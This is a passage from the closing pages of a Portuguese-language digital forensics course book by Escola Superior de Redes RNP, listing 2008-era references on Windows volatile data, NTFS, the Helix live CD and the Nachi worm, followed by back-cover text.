as conexões e portas ativas de rede e outras informações voláteis
da estação Windows.
\\90 minutos
178
Escola Superior de Redes RNP
\\Another hacker tool has been detected. Acesso em março de 2008, disponível em
Computing and Networking Services: http://cns.utoronto.ca/~scan/expltool.txt
\\Digital
Forensic Research Workshop. Acesso em março de 2008, disponível em
DFRWS: http://www.dfrws.org/
\\Dynamic-link library from Wikipedia. Fonte: Wikipedia:
http://en.wikipedia.org/wiki/Dynamic-link_library
\\Helix:
Incident Response & Computer Forensics Live CD by e-fense™, Inc. Acesso
em março de 2008, disponível em Helix Live CD: http://www.e-fense.com/helix
\\Helix from Forensics Wiki. Acesso em março de 2008, disponível em Forensics Wiki:
http://www.forensicswiki.org/index.php?title=Helix
\\Nachi worm tries to undo Blaster damage - but no virus is a good virus, says
Sophos. (19 de Ago de 2003). Acesso em março de 2008, disponível em Sophos:
http://www.sophos.com/pressoffice/news/articles/2003/08/va_nachi.html
\\NTFS Master File Table (MFT). Acesso em março de 2008, disponível em NTFS.com:
http://www.ntfs.com/ntfs-mft.htm
\\The NTFS File System from Sleuth Kit Implementation Notes (SKINs). Acesso em
março de 2008, disponível em Sleuth Kit:
http://www.sleuthkit.org/sleuthkit/docs/skins_ntfs.html
Seja um investigador
capaz de coletar evidências digitais
e conduzir uma análise em
sistemas comprometidos
Análise forense
www.esr.rnp.br